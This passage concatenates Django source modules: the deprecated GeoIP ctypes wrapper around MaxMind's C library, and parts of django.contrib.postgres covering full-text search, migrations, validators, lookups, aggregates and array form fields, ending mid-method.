    GeoIP_country_code_by_addr, GeoIP_country_code_by_name,
    GeoIP_country_name_by_addr, GeoIP_country_name_by_name,
    GeoIP_database_info, GeoIP_delete, GeoIP_lib_version, GeoIP_open,
    GeoIP_record_by_addr, GeoIP_record_by_name,
)
from django.core.validators import ipv4_re
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import force_bytes, force_text

# Regular expressions for recognizing the GeoIP free database editions.
free_regex = re.compile(r'^GEO-\d{3}FREE')
lite_regex = re.compile(r'^GEO-\d{3}LITE')


class GeoIPException(Exception):
    pass


class GeoIP(object):
    # The flags for GeoIP memory caching.
    # GEOIP_STANDARD - read database from filesystem, uses least memory.
    #
    # GEOIP_MEMORY_CACHE - load database into memory, faster performance
    #        but uses more memory
    #
    # GEOIP_CHECK_CACHE - check for updated database.  If database has been
    #        updated, reload filehandle and/or memory cache.  This option
    #        is not thread safe.
    #
    # GEOIP_INDEX_CACHE - just cache the most frequently accessed index
    #        portion of the database, resulting in faster lookups than
    #        GEOIP_STANDARD, but less memory usage than GEOIP_MEMORY_CACHE -
    #        useful for larger databases such as GeoIP Organization and
    #        GeoIP City.  Note, for GeoIP Country, Region and Netspeed
    #        databases, GEOIP_INDEX_CACHE is equivalent to GEOIP_MEMORY_CACHE
    #
    # GEOIP_MMAP_CACHE - load database into mmap shared memory ( not available
    #       on Windows).
    GEOIP_STANDARD = 0
    GEOIP_MEMORY_CACHE = 1
    GEOIP_CHECK_CACHE = 2
    GEOIP_INDEX_CACHE = 4
    GEOIP_MMAP_CACHE = 8
    cache_options = {opt: None for opt in (0, 1, 2, 4, 8)}

    # Paths to the city & country binary databases.
    _city_file = ''
    _country_file = ''

    # Initially, pointers to GeoIP file references are NULL.
    _city = None
    _country = None

    def __init__(self, path=None, cache=0, country=None, city=None):
        """
        Initializes the GeoIP object, no parameters are required to use default
        settings.  Keyword arguments may be passed in to customize the locations
        of the GeoIP data sets.

        * path: Base directory to where GeoIP data is located or the full path
            to where the city or country data files (*.dat) are located.
            Assumes that both the city and country data sets are located in
            this directory; overrides the GEOIP_PATH settings attribute.

        * cache: The cache settings when opening up the GeoIP datasets,
            and may be an integer in (0, 1, 2, 4, 8) corresponding to
            the GEOIP_STANDARD, GEOIP_MEMORY_CACHE, GEOIP_CHECK_CACHE,
            GEOIP_INDEX_CACHE, and GEOIP_MMAP_CACHE, `GeoIPOptions` C API
            settings,  respectively.  Defaults to 0, meaning that the data is read
            from the disk.

        * country: The name of the GeoIP country data file.  Defaults to
            'GeoIP.dat'; overrides the GEOIP_COUNTRY settings attribute.

        * city: The name of the GeoIP city data file.  Defaults to
            'GeoLiteCity.dat'; overrides the GEOIP_CITY settings attribute.
        """

        warnings.warn(
            "django.contrib.gis.geoip is deprecated in favor of "
            "django.contrib.gis.geoip2 and the MaxMind GeoLite2 database "
            "format.", RemovedInDjango20Warning, 2
        )

        # Checking the given cache option.
        if cache in self.cache_options:
            self._cache = cache
        else:
            raise GeoIPException('Invalid GeoIP caching option: %s' % cache)

        # Getting the GeoIP data path.
        if not path:
            path = GEOIP_SETTINGS.get('GEOIP_PATH')
            if not path:
                raise GeoIPException('GeoIP path must be provided via parameter or the GEOIP_PATH setting.')
        if not isinstance(path, six.string_types):
            raise TypeError('Invalid path type: %s' % type(path).__name__)

        if os.path.isdir(path):
            # Constructing the GeoIP database filenames using the settings
            # dictionary.  If the database files for the GeoLite country
            # and/or city datasets exist, then try and open them.
            country_db = os.path.join(path, country or GEOIP_SETTINGS.get('GEOIP_COUNTRY', 'GeoIP.dat'))
            if os.path.isfile(country_db):
                self._country = GeoIP_open(force_bytes(country_db), cache)
                self._country_file = country_db

            city_db = os.path.join(path, city or GEOIP_SETTINGS.get('GEOIP_CITY', 'GeoLiteCity.dat'))
            if os.path.isfile(city_db):
                self._city = GeoIP_open(force_bytes(city_db), cache)
                self._city_file = city_db
        elif os.path.isfile(path):
            # Otherwise, some detective work will be needed to figure
            # out whether the given database path is for the GeoIP country
            # or city databases.
            ptr = GeoIP_open(force_bytes(path), cache)
            info = GeoIP_database_info(ptr)
            if lite_regex.match(info):
                # GeoLite City database detected.
                self._city = ptr
                self._city_file = path
            elif free_regex.match(info):
                # GeoIP Country database detected.
                self._country = ptr
                self._country_file = path
            else:
                raise GeoIPException('Unable to recognize database edition: %s' % info)
        else:
            raise GeoIPException('GeoIP path must be a valid file or directory.')

    def __del__(self):
        # Cleaning any GeoIP file handles lying around.
        if GeoIP_delete is None:
            return
        if self._country:
            GeoIP_delete(self._country)
        if self._city:
            GeoIP_delete(self._city)

    def __repr__(self):
        version = ''
        if GeoIP_lib_version is not None:
            version += ' [v%s]' % force_text(GeoIP_lib_version())
        return '<%(cls)s%(version)s _country_file="%(country)s", _city_file="%(city)s">' % {
            'cls': self.__class__.__name__,
            'version': version,
            'country': self._country_file,
            'city': self._city_file,
        }

    def _check_query(self, query, country=False, city=False, city_or_country=False):
        "Helper routine for checking the query and database availability."
        # Making sure a string was passed in for the query.
        if not isinstance(query, six.string_types):
            raise TypeError('GeoIP query must be a string, not type %s' % type(query).__name__)

        # Extra checks for the existence of country and city databases.
        if city_or_country and not (self._country or self._city):
            raise GeoIPException('Invalid GeoIP country and city data files.')
        elif country and not self._country:
            raise GeoIPException('Invalid GeoIP country data file: %s' % self._country_file)
        elif city and not self._city:
            raise GeoIPException('Invalid GeoIP city data file: %s' % self._city_file)

        # Return the query string back to the caller. GeoIP only takes bytestrings.
        return force_bytes(query)

    def city(self, query):
        """
        Returns a dictionary of city information for the given IP address or
        Fully Qualified Domain Name (FQDN).  Some information in the dictionary
        may be undefined (None).
        """
        enc_query = self._check_query(query, city=True)
        if ipv4_re.match(query):
            # If an IP address was passed in
            return GeoIP_record_by_addr(self._city, c_char_p(enc_query))
        else:
            # If a FQDN was passed in.
            return GeoIP_record_by_name(self._city, c_char_p(enc_query))

    def country_code(self, query):
        "Returns the country code for the given IP Address or FQDN."
        enc_query = self._check_query(query, city_or_country=True)
        if self._country:
            if ipv4_re.match(query):
                return GeoIP_country_code_by_addr(self._country, enc_query)
            else:
                return GeoIP_country_code_by_name(self._country, enc_query)
        else:
            return self.city(query)['country_code']

    def country_name(self, query):
        "Returns the country name for the given IP Address or FQDN."
        enc_query = self._check_query(query, city_or_country=True)
        if self._country:
            if ipv4_re.match(query):
                return GeoIP_country_name_by_addr(self._country, enc_query)
            else:
                return GeoIP_country_name_by_name(self._country, enc_query)
        else:
            return self.city(query)['country_name']

    def country(self, query):
        """
        Returns a dictionary with the country code and name when given an
        IP address or a Fully Qualified Domain Name (FQDN).  For example, both
        '24.124.1.80' and 'djangoproject.com' are valid parameters.
        """
        # Returning the country code and name
        return {'country_code': self.country_code(query),
                'country_name': self.country_name(query),
                }

    # #### Coordinate retrieval routines ####
    def coords(self, query, ordering=('longitude', 'latitude')):
        cdict = self.city(query)
        if cdict is None:
            return None
        else:
            return tuple(cdict[o] for o in ordering)

    def lon_lat(self, query):
        "Returns a tuple of the (longitude, latitude) for the given query."
        return self.coords(query)

    def lat_lon(self, query):
        "Returns a tuple of the (latitude, longitude) for the given query."
        return self.coords(query, ('latitude', 'longitude'))

    def geos(self, query):
        "Returns a GEOS Point object for the given query."
        ll = self.lon_lat(query)
        if ll:
            from django.contrib.gis.geos import Point
            return Point(ll, srid=4326)
        else:
            return None

    # #### GeoIP Database Information Routines ####
    @property
    def country_info(self):
        "Returns information about the GeoIP country database."
        if self._country is None:
            ci = 'No GeoIP Country data in "%s"' % self._country_file
        else:
            ci = GeoIP_database_info(self._country)
        return ci

    @property
    def city_info(self):
        "Returns information about the GeoIP city database."
        if self._city is None:
            ci = 'No GeoIP City data in "%s"' % self._city_file
        else:
            ci = GeoIP_database_info(self._city)
        return ci

    @property
    def info(self):
        "Returns information about the GeoIP library and databases in use."
        info = ''
        if GeoIP_lib_version:
            info += 'GeoIP Library:\n\t%s\n' % GeoIP_lib_version()
        return info + 'Country:\n\t%s\nCity:\n\t%s' % (self.country_info, self.city_info)

    # #### Methods for compatibility w/the GeoIP-Python API. ####
    @classmethod
    def open(cls, full_path, cache):
        return GeoIP(full_path, cache)

    def _rec_by_arg(self, arg):
        if self._city:
            return self.city(arg)
        else:
            return self.country(arg)
    region_by_addr = city
    region_by_name = city
    record_by_addr = _rec_by_arg
    record_by_name = _rec_by_arg
    country_code_by_addr = country_code
    country_code_by_name = country_code
    country_name_by_addr = country_name
    country_name_by_name = country_name






from ctypes import POINTER, Structure, c_char_p, c_float, c_int, string_at

from django.contrib.gis.geoip.libgeoip import free, lgeoip


# #### GeoIP C Structure definitions ####

class GeoIPRecord(Structure):
    _fields_ = [('country_code', c_char_p),
                ('country_code3', c_char_p),
                ('country_name', c_char_p),
                ('region', c_char_p),
                ('city', c_char_p),
                ('postal_code', c_char_p),
                ('latitude', c_float),
                ('longitude', c_float),
                # TODO: In 1.4.6 this changed from `int dma_code;` to
                # `union {int metro_code; int dma_code;};`.  Change
                # to a `ctypes.Union` in to accommodate in future when
                # pre-1.4.6 versions are no longer distributed.
                ('dma_code', c_int),
                ('area_code', c_int),
                ('charset', c_int),
                ('continent_code', c_char_p),
                ]
geoip_char_fields = [name for name, ctype in GeoIPRecord._fields_ if ctype is c_char_p]
GEOIP_DEFAULT_ENCODING = 'iso-8859-1'
geoip_encodings = {
    0: 'iso-8859-1',
    1: 'utf8',
}


class GeoIPTag(Structure):
    pass

RECTYPE = POINTER(GeoIPRecord)
DBTYPE = POINTER(GeoIPTag)

# #### ctypes function prototypes ####

# GeoIP_lib_version appeared in version 1.4.7.
if hasattr(lgeoip, 'GeoIP_lib_version'):
    GeoIP_lib_version = lgeoip.GeoIP_lib_version
    GeoIP_lib_version.argtypes = None
    GeoIP_lib_version.restype = c_char_p
else:
    GeoIP_lib_version = None

# For freeing memory allocated within a record
GeoIPRecord_delete = lgeoip.GeoIPRecord_delete
GeoIPRecord_delete.argtypes = [RECTYPE]
GeoIPRecord_delete.restype = None


# For retrieving records by name or address.
def check_record(result, func, cargs):
    if result:
        # Checking the pointer to the C structure, if valid pull out elements
        # into a dictionary.
        rec = result.contents
        record = {fld: getattr(rec, fld) for fld, ctype in rec._fields_}

        # Now converting the strings to unicode using the proper encoding.
        encoding = geoip_encodings[record['charset']]
        for char_field in geoip_char_fields:
            if record[char_field]:
                record[char_field] = record[char_field].decode(encoding)

        # Free the memory allocated for the struct & return.
        GeoIPRecord_delete(result)
        return record
    else:
        return None


def record_output(func):
    func.argtypes = [DBTYPE, c_char_p]
    func.restype = RECTYPE
    func.errcheck = check_record
    return func
GeoIP_record_by_addr = record_output(lgeoip.GeoIP_record_by_addr)
GeoIP_record_by_name = record_output(lgeoip.GeoIP_record_by_name)


# For opening & closing GeoIP database files.
GeoIP_open = lgeoip.GeoIP_open
GeoIP_open.restype = DBTYPE
GeoIP_delete = lgeoip.GeoIP_delete
GeoIP_delete.argtypes = [DBTYPE]
GeoIP_delete.restype = None


# This is so the string pointer can be freed within Python.
class geoip_char_p(c_char_p):
    pass


def check_string(result, func, cargs):
    if result:
        s = string_at(result)
        free(result)
    else:
        s = ''
    return s.decode(GEOIP_DEFAULT_ENCODING)

GeoIP_database_info = lgeoip.GeoIP_database_info
GeoIP_database_info.restype = geoip_char_p
GeoIP_database_info.errcheck = check_string


# String output routines.
def string_output(func):
    def _err_check(result, func, cargs):
        if result:
            return result.decode(GEOIP_DEFAULT_ENCODING)
        return result
    func.restype = c_char_p
    func.errcheck = _err_check
    return func

GeoIP_country_code_by_addr = string_output(lgeoip.GeoIP_country_code_by_addr)
GeoIP_country_code_by_name = string_output(lgeoip.GeoIP_country_code_by_name)
GeoIP_country_name_by_addr = string_output(lgeoip.GeoIP_country_name_by_addr)
GeoIP_country_name_by_name = string_output(lgeoip.GeoIP_country_name_by_name)






import os
from ctypes import CDLL
from ctypes.util import find_library

from django.conf import settings

# Creating the settings dictionary with any settings, if needed.
GEOIP_SETTINGS = {key: getattr(settings, key)
                  for key in ('GEOIP_PATH', 'GEOIP_LIBRARY_PATH', 'GEOIP_COUNTRY', 'GEOIP_CITY')
                  if hasattr(settings, key)}
lib_path = GEOIP_SETTINGS.get('GEOIP_LIBRARY_PATH')

# The shared library for the GeoIP C API.  May be downloaded
#  from http://www.maxmind.com/download/geoip/api/c/
if lib_path:
    lib_name = None
else:
    # TODO: Is this really the library name for Windows?
    lib_name = 'GeoIP'

# Getting the path to the GeoIP library.
if lib_name:
    lib_path = find_library(lib_name)
if lib_path is None:
    raise RuntimeError('Could not find the GeoIP library (tried "%s"). '
                       'Try setting GEOIP_LIBRARY_PATH in your settings.' % lib_name)
lgeoip = CDLL(lib_path)

# Getting the C `free` for the platform.
if os.name == 'nt':
    libc = CDLL('msvcrt')
else:
    libc = CDLL(None)
free = libc.free






"""
 This module houses the GeoIP object, a ctypes wrapper for the MaxMind GeoIP(R)
 C API (http://www.maxmind.com/app/c).  This is an alternative to the GPL
 licensed Python GeoIP interface provided by MaxMind.

 GeoIP(R) is a registered trademark of MaxMind, LLC of Boston, Massachusetts.

 For IP-based geolocation, this module requires the GeoLite Country and City
 datasets, in binary format (CSV will not work!).  The datasets may be
 downloaded from MaxMind at http://www.maxmind.com/download/geoip/database/.
 Grab GeoIP.dat.gz and GeoLiteCity.dat.gz, and unzip them in the directory
 corresponding to settings.GEOIP_PATH.
"""
__all__ = ['HAS_GEOIP']

try:
    from .base import GeoIP, GeoIPException
    HAS_GEOIP = True
    __all__ += ['GeoIP', 'GeoIPException']
except RuntimeError:  # libgeoip.py raises a RuntimeError if no GeoIP library is found
    HAS_GEOIP = False






from django.db.models import Field, FloatField
from django.db.models.expressions import CombinedExpression, Func, Value
from django.db.models.functions import Coalesce
from django.db.models.lookups import Lookup


class SearchVectorExact(Lookup):
    lookup_name = 'exact'

    def process_rhs(self, qn, connection):
        if not hasattr(self.rhs, 'resolve_expression'):
            config = getattr(self.lhs, 'config', None)
            self.rhs = SearchQuery(self.rhs, config=config)
        rhs, rhs_params = super(SearchVectorExact, self).process_rhs(qn, connection)
        return rhs, rhs_params

    def as_sql(self, qn, connection):
        lhs, lhs_params = self.process_lhs(qn, connection)
        rhs, rhs_params = self.process_rhs(qn, connection)
        params = lhs_params + rhs_params
        return '%s @@ %s = true' % (lhs, rhs), params


class SearchVectorField(Field):

    def db_type(self, connection):
        return 'tsvector'


class SearchQueryField(Field):

    def db_type(self, connection):
        return 'tsquery'


class SearchVectorCombinable(object):
    ADD = '||'

    def _combine(self, other, connector, reversed, node=None):
        if not isinstance(other, SearchVectorCombinable) or not self.config == other.config:
            raise TypeError('SearchVector can only be combined with other SearchVectors')
        if reversed:
            return CombinedSearchVector(other, connector, self, self.config)
        return CombinedSearchVector(self, connector, other, self.config)


class SearchVector(SearchVectorCombinable, Func):
    function = 'to_tsvector'
    arg_joiner = " || ' ' || "
    _output_field = SearchVectorField()
    config = None

    def __init__(self, *expressions, **extra):
        super(SearchVector, self).__init__(*expressions, **extra)
        self.source_expressions = [
            Coalesce(expression, Value('')) for expression in self.source_expressions
        ]
        self.config = self.extra.get('config', self.config)
        weight = self.extra.get('weight')
        if weight is not None and not hasattr(weight, 'resolve_expression'):
            weight = Value(weight)
        self.weight = weight

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        resolved = super(SearchVector, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        if self.config:
            if not hasattr(self.config, 'resolve_expression'):
                resolved.config = Value(self.config).resolve_expression(query, allow_joins, reuse, summarize, for_save)
            else:
                resolved.config = self.config.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        return resolved

    def as_sql(self, compiler, connection, function=None, template=None):
        config_params = []
        if template is None:
            if self.config:
                config_sql, config_params = compiler.compile(self.config)
                template = "%(function)s({}::regconfig, %(expressions)s)".format(config_sql.replace('%', '%%'))
            else:
                template = self.template
        sql, params = super(SearchVector, self).as_sql(compiler, connection, function=function, template=template)
        extra_params = []
        if self.weight:
            weight_sql, extra_params = compiler.compile(self.weight)
            sql = 'setweight({}, {})'.format(sql, weight_sql)
        return sql, config_params + params + extra_params


class CombinedSearchVector(SearchVectorCombinable, CombinedExpression):
    def __init__(self, lhs, connector, rhs, config, output_field=None):
        self.config = config
        super(CombinedSearchVector, self).__init__(lhs, connector, rhs, output_field)


class SearchQuery(Value):
    invert = False
    _output_field = SearchQueryField()
    config = None

    BITAND = '&&'
    BITOR = '||'

    def __init__(self, value, output_field=None, **extra):
        self.config = extra.pop('config', self.config)
        self.invert = extra.pop('invert', self.invert)
        super(SearchQuery, self).__init__(value, output_field=output_field)

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        resolved = super(SearchQuery, self).resolve_expression(query, allow_joins, reuse, summarize, for_save)
        if self.config:
            if not hasattr(self.config, 'resolve_expression'):
                resolved.config = Value(self.config).resolve_expression(query, allow_joins, reuse, summarize, for_save)
            else:
                resolved.config = self.config.resolve_expression(query, allow_joins, reuse, summarize, for_save)
        return resolved

    def as_sql(self, compiler, connection):
        params = [self.value]
        if self.config:
            config_sql, config_params = compiler.compile(self.config)
            template = 'plainto_tsquery({}::regconfig, %s)'.format(config_sql)
            params = config_params + [self.value]
        else:
            template = 'plainto_tsquery(%s)'
        if self.invert:
            template = '!!({})'.format(template)
        return template, params

    def _combine(self, other, connector, reversed, node=None):
        combined = super(SearchQuery, self)._combine(other, connector, reversed, node)
        combined.output_field = SearchQueryField()
        return combined

    # On Combinable, these are not implemented to reduce confusion with Q. In
    # this case we are actually (ab)using them to do logical combination so
    # it's consistent with other usage in Django.
    def __or__(self, other):
        return self._combine(other, self.BITOR, False)

    def __ror__(self, other):
        return self._combine(other, self.BITOR, True)

    def __and__(self, other):
        return self._combine(other, self.BITAND, False)

    def __rand__(self, other):
        return self._combine(other, self.BITAND, True)

    def __invert__(self):
        extra = {
            'invert': not self.invert,
            'config': self.config,
        }
        return type(self)(self.value, **extra)


class SearchRank(Func):
    function = 'ts_rank'
    _output_field = FloatField()

    def __init__(self, vector, query, **extra):
        if not hasattr(vector, 'resolve_expression'):
            vector = SearchVector(vector)
        if not hasattr(query, 'resolve_expression'):
            query = SearchQuery(query)
        weights = extra.get('weights')
        if weights is not None and not hasattr(weights, 'resolve_expression'):
            weights = Value(weights)
        self.weights = weights
        super(SearchRank, self).__init__(vector, query, **extra)

    def as_sql(self, compiler, connection, function=None, template=None):
        extra_params = []
        extra_context = {}
        if template is None and self.extra.get('weights'):
            if self.weights:
                template = '%(function)s(%(weights)s, %(expressions)s)'
                weight_sql, extra_params = compiler.compile(self.weights)
                extra_context['weights'] = weight_sql
        sql, params = super(SearchRank, self).as_sql(
            compiler, connection,
            function=function, template=template, **extra_context
        )
        return sql, extra_params + params


SearchVectorField.register_lookup(SearchVectorExact)


class TrigramBase(Func):
    def __init__(self, expression, string, **extra):
        if not hasattr(string, 'resolve_expression'):
            string = Value(string)
        super(TrigramBase, self).__init__(expression, string, output_field=FloatField(), **extra)


class TrigramSimilarity(TrigramBase):
    function = 'SIMILARITY'


class TrigramDistance(TrigramBase):
    function = ''
    arg_joiner = ' <-> '






from django.contrib.postgres.signals import register_hstore_handler
from django.db.migrations.operations.base import Operation


class CreateExtension(Operation):
    reversible = True

    def __init__(self, name):
        self.name = name

    def state_forwards(self, app_label, state):
        pass

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        if schema_editor.connection.vendor != 'postgresql':
            return
        schema_editor.execute("CREATE EXTENSION IF NOT EXISTS %s" % schema_editor.quote_name(self.name))

    def database_backwards(self, app_label, schema_editor, from_state, to_state):
        schema_editor.execute("DROP EXTENSION %s" % schema_editor.quote_name(self.name))

    def describe(self):
        return "Creates extension %s" % self.name


class HStoreExtension(CreateExtension):

    def __init__(self):
        self.name = 'hstore'

    def database_forwards(self, app_label, schema_editor, from_state, to_state):
        super(HStoreExtension, self).database_forwards(app_label, schema_editor, from_state, to_state)
        # Register hstore straight away as it cannot be done before the
        # extension is installed, a subsequent data migration would use the
        # same connection
        register_hstore_handler(schema_editor.connection)


class UnaccentExtension(CreateExtension):

    def __init__(self):
        self.name = 'unaccent'


class TrigramExtension(CreateExtension):

    def __init__(self):
        self.name = 'pg_trgm'


class BtreeGinExtension(CreateExtension):

    def __init__(self):
        self.name = 'btree_gin'






import copy

from django.core.exceptions import ValidationError
from django.core.validators import (
    MaxLengthValidator, MaxValueValidator, MinLengthValidator,
    MinValueValidator,
)
from django.utils.deconstruct import deconstructible
from django.utils.translation import ugettext_lazy as _, ungettext_lazy


class ArrayMaxLengthValidator(MaxLengthValidator):
    message = ungettext_lazy(
        'List contains %(show_value)d item, it should contain no more than %(limit_value)d.',
        'List contains %(show_value)d items, it should contain no more than %(limit_value)d.',
        'limit_value')


class ArrayMinLengthValidator(MinLengthValidator):
    message = ungettext_lazy(
        'List contains %(show_value)d item, it should contain no fewer than %(limit_value)d.',
        'List contains %(show_value)d items, it should contain no fewer than %(limit_value)d.',
        'limit_value')


@deconstructible
class KeysValidator(object):
    """A validator designed for HStore to require/restrict keys."""

    messages = {
        'missing_keys': _('Some keys were missing: %(keys)s'),
        'extra_keys': _('Some unknown keys were provided: %(keys)s'),
    }
    strict = False

    def __init__(self, keys, strict=False, messages=None):
        self.keys = set(keys)
        self.strict = strict
        if messages is not None:
            self.messages = copy.copy(self.messages)
            self.messages.update(messages)

    def __call__(self, value):
        keys = set(value.keys())
        missing_keys = self.keys - keys
        if missing_keys:
            raise ValidationError(
                self.messages['missing_keys'],
                code='missing_keys',
                params={'keys': ', '.join(missing_keys)},
            )
        if self.strict:
            extra_keys = keys - self.keys
            if extra_keys:
                raise ValidationError(
                    self.messages['extra_keys'],
                    code='extra_keys',
                    params={'keys': ', '.join(extra_keys)},
                )

    def __eq__(self, other):
        return (
            isinstance(other, self.__class__) and
            self.keys == other.keys and
            self.messages == other.messages and
            self.strict == other.strict
        )

    def __ne__(self, other):
        return not (self == other)


class RangeMaxValueValidator(MaxValueValidator):
    def compare(self, a, b):
        return a.upper > b
    message = _('Ensure that this range is completely less than or equal to %(limit_value)s.')


class RangeMinValueValidator(MinValueValidator):
    def compare(self, a, b):
        return a.lower < b
    message = _('Ensure that this range is completely greater than or equal to %(limit_value)s.')






from psycopg2 import ProgrammingError
from psycopg2.extras import register_hstore

from django.utils import six


def register_hstore_handler(connection, **kwargs):
    if connection.vendor != 'postgresql':
        return

    try:
        if six.PY2:
            register_hstore(connection.connection, globally=True, unicode=True)
        else:
            register_hstore(connection.connection, globally=True)
    except ProgrammingError:
        # Hstore is not available on the database.
        #
        # If someone tries to create an hstore field it will error there.
        # This is necessary as someone may be using PSQL without extensions
        # installed but be using other features of contrib.postgres.
        #
        # This is also needed in order to create the connection in order to
        # install the hstore extension.
        pass






from django.db.models import Lookup, Transform
from django.utils.encoding import force_text

from .search import SearchVector, SearchVectorExact, SearchVectorField


class PostgresSimpleLookup(Lookup):
    def as_sql(self, qn, connection):
        lhs, lhs_params = self.process_lhs(qn, connection)
        rhs, rhs_params = self.process_rhs(qn, connection)
        params = lhs_params + rhs_params
        return '%s %s %s' % (lhs, self.operator, rhs), params


class DataContains(PostgresSimpleLookup):
    lookup_name = 'contains'
    operator = '@>'


class ContainedBy(PostgresSimpleLookup):
    lookup_name = 'contained_by'
    operator = '<@'


class Overlap(PostgresSimpleLookup):
    lookup_name = 'overlap'
    operator = '&&'


class HasKey(PostgresSimpleLookup):
    lookup_name = 'has_key'
    operator = '?'
    prepare_rhs = False


class HasKeys(PostgresSimpleLookup):
    lookup_name = 'has_keys'
    operator = '?&'

    def get_prep_lookup(self):
        return [force_text(item) for item in self.rhs]


class HasAnyKeys(HasKeys):
    lookup_name = 'has_any_keys'
    operator = '?|'


class Unaccent(Transform):
    bilateral = True
    lookup_name = 'unaccent'
    function = 'UNACCENT'


class SearchLookup(SearchVectorExact):
    lookup_name = 'search'

    def process_lhs(self, qn, connection):
        if not isinstance(self.lhs.output_field, SearchVectorField):
            self.lhs = SearchVector(self.lhs)
        lhs, lhs_params = super(SearchLookup, self).process_lhs(qn, connection)
        return lhs, lhs_params


class TrigramSimilar(PostgresSimpleLookup):
    lookup_name = 'trigram_similar'
    operator = '%%'






from django.db.models import DateTimeField, Func


class TransactionNow(Func):
    template = 'CURRENT_TIMESTAMP'

    def __init__(self, output_field=None, **extra):
        if output_field is None:
            output_field = DateTimeField()
        super(TransactionNow, self).__init__(output_field=output_field, **extra)






from django.apps import AppConfig
from django.db import connections
from django.db.backends.signals import connection_created
from django.db.models import CharField, TextField
from django.utils.translation import ugettext_lazy as _

from .lookups import SearchLookup, TrigramSimilar, Unaccent
from .signals import register_hstore_handler


class PostgresConfig(AppConfig):
    name = 'django.contrib.postgres'
    verbose_name = _('PostgreSQL extensions')

    def ready(self):
        # Connections may already exist before we are called.
        for conn in connections.all():
            if conn.connection is not None:
                register_hstore_handler(conn)
        connection_created.connect(register_hstore_handler)
        CharField.register_lookup(Unaccent)
        TextField.register_lookup(Unaccent)
        CharField.register_lookup(SearchLookup)
        TextField.register_lookup(SearchLookup)
        CharField.register_lookup(TrigramSimilar)
        TextField.register_lookup(TrigramSimilar)






default_app_config = 'django.contrib.postgres.apps.PostgresConfig'






from __future__ import unicode_literals

from django.db.models import Index

__all__ = ['GinIndex']


class GinIndex(Index):
    suffix = 'gin'

    def create_sql(self, model, schema_editor):
        return super(GinIndex, self).create_sql(model, schema_editor, using=' USING gin')






from __future__ import unicode_literals

from django.core.exceptions import ValidationError
from django.utils.functional import SimpleLazyObject
from django.utils.translation import string_concat


def prefix_validation_error(error, prefix, code, params):
    """
    Prefix a validation error message while maintaining the existing
    validation data structure.
    """
    if error.error_list == [error]:
        error_params = error.params or {}
        return ValidationError(
            # We can't simply concatenate messages since they might require
            # their associated parameters to be expressed correctly which
            # is not something `string_concat` does. For example, proxied
            # ungettext calls require a count parameter and are converted
            # to an empty string if they are missing it.
            message=string_concat(
                SimpleLazyObject(lambda: prefix % params),
                SimpleLazyObject(lambda: error.message % error_params),
            ),
            code=code,
            params=dict(error_params, **params),
        )
    return ValidationError([
        prefix_validation_error(e, prefix, code, params) for e in error.error_list
    ])






from django.db.models import FloatField, IntegerField
from django.db.models.aggregates import Aggregate

__all__ = [
    'CovarPop', 'Corr', 'RegrAvgX', 'RegrAvgY', 'RegrCount', 'RegrIntercept',
    'RegrR2', 'RegrSlope', 'RegrSXX', 'RegrSXY', 'RegrSYY', 'StatAggregate',
]


class StatAggregate(Aggregate):
    def __init__(self, y, x, output_field=FloatField()):
        if not x or not y:
            raise ValueError('Both y and x must be provided.')
        super(StatAggregate, self).__init__(y=y, x=x, output_field=output_field)
        self.x = x
        self.y = y
        self.source_expressions = self._parse_expressions(self.y, self.x)

    def get_source_expressions(self):
        return self.y, self.x

    def set_source_expressions(self, exprs):
        self.y, self.x = exprs

    def resolve_expression(self, query=None, allow_joins=True, reuse=None, summarize=False, for_save=False):
        return super(Aggregate, self).resolve_expression(query, allow_joins, reuse, summarize)


class Corr(StatAggregate):
    function = 'CORR'


class CovarPop(StatAggregate):
    def __init__(self, y, x, sample=False):
        self.function = 'COVAR_SAMP' if sample else 'COVAR_POP'
        super(CovarPop, self).__init__(y, x)


class RegrAvgX(StatAggregate):
    function = 'REGR_AVGX'


class RegrAvgY(StatAggregate):
    function = 'REGR_AVGY'


class RegrCount(StatAggregate):
    function = 'REGR_COUNT'

    def __init__(self, y, x):
        super(RegrCount, self).__init__(y=y, x=x, output_field=IntegerField())

    def convert_value(self, value, expression, connection, context):
        if value is None:
            return 0
        return int(value)


class RegrIntercept(StatAggregate):
    function = 'REGR_INTERCEPT'


class RegrR2(StatAggregate):
    function = 'REGR_R2'


class RegrSlope(StatAggregate):
    function = 'REGR_SLOPE'


class RegrSXX(StatAggregate):
    function = 'REGR_SXX'


class RegrSXY(StatAggregate):
    function = 'REGR_SXY'


class RegrSYY(StatAggregate):
    function = 'REGR_SYY'






from .general import *  # NOQA
from .statistics import *  # NOQA






from django.db.models.aggregates import Aggregate

__all__ = [
    'ArrayAgg', 'BitAnd', 'BitOr', 'BoolAnd', 'BoolOr', 'StringAgg',
]


class ArrayAgg(Aggregate):
    function = 'ARRAY_AGG'

    def convert_value(self, value, expression, connection, context):
        if not value:
            return []
        return value


class BitAnd(Aggregate):
    function = 'BIT_AND'


class BitOr(Aggregate):
    function = 'BIT_OR'


class BoolAnd(Aggregate):
    function = 'BOOL_AND'


class BoolOr(Aggregate):
    function = 'BOOL_OR'


class StringAgg(Aggregate):
    function = 'STRING_AGG'
    template = "%(function)s(%(distinct)s%(expressions)s, '%(delimiter)s')"

    def __init__(self, expression, delimiter, distinct=False, **extra):
        distinct = 'DISTINCT ' if distinct else ''
        super(StringAgg, self).__init__(expression, delimiter=delimiter, distinct=distinct, **extra)

    def convert_value(self, value, expression, connection, context):
        if not value:
            return ''
        return value






import copy
from itertools import chain

from django import forms
from django.contrib.postgres.validators import (
    ArrayMaxLengthValidator, ArrayMinLengthValidator,
)
from django.core.exceptions import ValidationError
from django.utils import six
from django.utils.safestring import mark_safe
from django.utils.translation import ugettext_lazy as _

from ..utils import prefix_validation_error


class SimpleArrayField(forms.CharField):
    default_error_messages = {
        'item_invalid': _('Item %(nth)s in the array did not validate: '),
    }

    def __init__(self, base_field, delimiter=',', max_length=None, min_length=None, *args, **kwargs):
        self.base_field = base_field
        self.delimiter = delimiter
        super(SimpleArrayField, self).__init__(*args, **kwargs)
        if min_length is not None:
            self.min_length = min_length
            self.validators.append(ArrayMinLengthValidator(int(min_length)))
        if max_length is not None:
            self.max_length = max_length
            self.validators.append(ArrayMaxLengthValidator(int(max_length)))

    def prepare_value(self, value):
        if isinstance(value, list):
